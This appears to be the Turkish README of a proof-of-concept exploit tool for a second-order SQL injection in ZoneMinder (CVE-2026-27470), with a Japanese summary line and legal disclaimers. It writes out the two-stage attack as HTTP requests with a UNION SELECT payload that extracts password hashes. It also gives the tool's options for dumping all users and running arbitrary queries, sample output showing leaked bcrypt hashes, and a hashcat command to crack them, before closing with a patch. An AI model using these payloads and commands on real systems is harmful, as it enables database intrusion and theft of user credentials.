
ZoneMinder(CVE-2026-27470)における二次SQLインジェクションの概念実証エクスプロイト。認証済みデータ抽出(ユーザー資格情報を含む)を実証し、カスタムクエリやハッシュダンプのオプションを備えています。
⚠️ YASAL UYARI / LEGAL DISCLAIMER
Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.
Bu araç yalnızca eğitim amaçlı ve yetkili güvenlik araştırmaları için sağlanmıştır. Sahibi olmadığınız veya test etmek için açık yazılı izniniz bulunmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, CFAA (ABD), Computer Misuse Act (Birleşik Krallık) ve dünya genelindeki eşdeğer yasaları ihlal edebilir. Yazar, bu aracın herhangi bir şekilde kötüye kullanılmasından doğacak hiçbir sorumluluk kabul etmez.
ZoneMinder'daki bir ikinci derece SQL enjeksiyonu güvenlik açığı için kavram kanıtı istismar aracı. Events düzenleme ve görüntüleme izinlerine sahip kimliği doğrulanmış bir kullanıcı, veritabanından tüm kullanıcı kimlik bilgileri dahil olmak üzere rastgele verileri çıkarabilir.
| Alan | Ayrıntılar |
|---|---|
| CVE Kimliği | CVE-2026-27470 |
| Önem Düzeyi | YÜKSEK — CVSS 8.8 |
| Vektör | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Etkilenen Sürümler | ZoneMinder ≤ 1.36.37 ve 1.37.61 – 1.38.0 |
| Düzeltilen Sürüm | 1.36.38 / 1.38.1 |
| Dosya | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: SQL Komutlarının Hatalı Nötrleştirilmesi |
| Kimlik Doğrulama Gerekli | Evet — Events düzenleme + görüntüleme izni |
Bu, klasik bir ikinci derece (depolanmış) SQL enjeksiyonudur. Saldırı iki ayrı aşamada gerçekleşir; bu nedenle geleneksel tarayıcılar bunu genellikle gözden kaçırır.
Aşama 1 — Güvenli Yazma
Saldırgan, kötü niyetli bir yük ile bir etkinliği yeniden adlandırır. ZoneMinder burada parametreli bir sorgu kullandığından, yük herhangi bir hatayı tetiklemeden veritabanında güvenli bir şekilde saklanır:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — güvenli ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
Bu noktada her şey temiz görünür. Yük, Events.Name sütununda sessizce beklemektedir.
Aşama 2 — Güvenlik Açığı Olan Okuma
Saldırgan, aynı etkinlik kaydı için yakın etkinlikleri isteyerek getNearEvents() işlevini tetikler. İşlev, saklanan Name değerini veritabanından geri okur ve herhangi bir kaçış işlemi yapmadan doğrudan yeni bir SQL sorgusuna birleştirir:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~satır 460 — GÜVENLİK AÇIĞI ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← enjeksiyon noktası
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
Saklanan yük, dize bağlamından çıkar ve enjekte edilen UNION SELECT çalışarak verileri JSON yanıtındaki NextEventId alanına sızdırır:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
Geliştirici çok yaygın bir hata yapmıştır: kullanıcı girdisini yazma sırasında doğru şekilde temizleyerek yanlış bir güvenlik hissi yaratmıştır. "Kendi veritabanımızdan gelen veriler güvenlidir" varsayımı, güvenlik açığının yıllarca okuma yolunda var olmasına izin vermiştir. WAF'ler ve çoğu otomatik tarayıcı bunu yakalayamaz çünkü yazma isteği tamamen temiz görünür.
pip install requests
-t, --target Hedef URL (örn. http://10.10.10.10:8080)
-u, --username ZoneMinder kullanıcı adı
-p, --password ZoneMinder parolası
--event-id Enjeksiyon taşıyıcısı olarak kullanılacak etkinlik kimliği
--query Çalıştırılacak özel SQL sorgusu
--dump-users Tüm kullanıcı adlarını ve parola karmalarını dök
--field Enjeksiyon alanı: Name (varsayılan) veya Cause
--no-restore İstismar sonrası etkinlik adını geri yükleme
# Veritabanı sürümünü kontrol et (en basit test)
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# Tüm kullanıcıları ve parola karmalarını dök
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
--dump-users
# Name yerine Cause alanı üzerinden enjekte et
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
--field Cause --dump-users
# Özel sorgu
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder İkinci Derece SQLi PoC ║
║ CVSS 8.8 | Kimliği Doğrulanmış | Events İzni ║
╚══════════════════════════════════════════════════════════╝
[*] Hedef : http://10.10.10.10:8080
[*] Giriş yapılıyor...
[+] Oturum kuruldu.
[+] Etkinlik Kimliği (manuel): 1
[*] Yük enjekte ediliyor (Name alanı)...
[+] Yük parametreli sorguyla saklandı — veritabanında temiz görünüyor.
[*] İkinci derece enjeksiyon tetikleniyor...
[*] HTTP 200
[*] Etkinlik adı geri yüklendi.
[+] Kullanıcı sayısı: 2
[*] Sorgu çalıştırılıyor: SELECT Username FROM Users LIMIT 0,1
[*] Sorgu çalıştırılıyor: SELECT Password FROM Users LIMIT 0,1
[+] Kullanıcı 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Sorgu çalıştırılıyor: SELECT Username FROM Users LIMIT 1,1
[*] Sorgu çalıştırılıyor: SELECT Password FROM Users LIMIT 1,1
[+] Kullanıcı 2: operator:$2b$12$xK8s...
Saldırgan ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<YÜK> ──────────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parametreli — güvenli) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<YÜK>' ───────────│
│ │ │
│ │ SQL dizesi oluşturur: │
│ │ WHERE Name >= '<YÜK>' │
│ │ (kaçış yok!) │
│ │ UNION SELECT çalışır ────► │
│ │◄── kimlik bilgileri ─────────│
│◄── Sızdırılan verilerle JSON ─│ │
# Toplanan karmaları hashcat ile kır
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Events.Name veritabanında varchar(64) türündedir — enjeksiyon yüklerini 63 karakterin altında tutunnearevents.NextEventId alanında görünürZoneMinder'ı 1.36.38 veya 1.38.1 sürümüne güncelleyin.
Düzeltme, dize birleştirme yerine saklanan değer için parametreli bir sorgu yer tutucusu kullanmaktır:
// Önce (güvenlik açığı olan)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";
// Sonra (düzeltilmiş)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);
Bu araç yalnızca eğitim ve yetkili güvenlik araştırma amaçları içindir.
Sahibi olmadığınız veya test etmek için açık yazılı izniniz bulunmayan sistemlere karşı kullanmayın.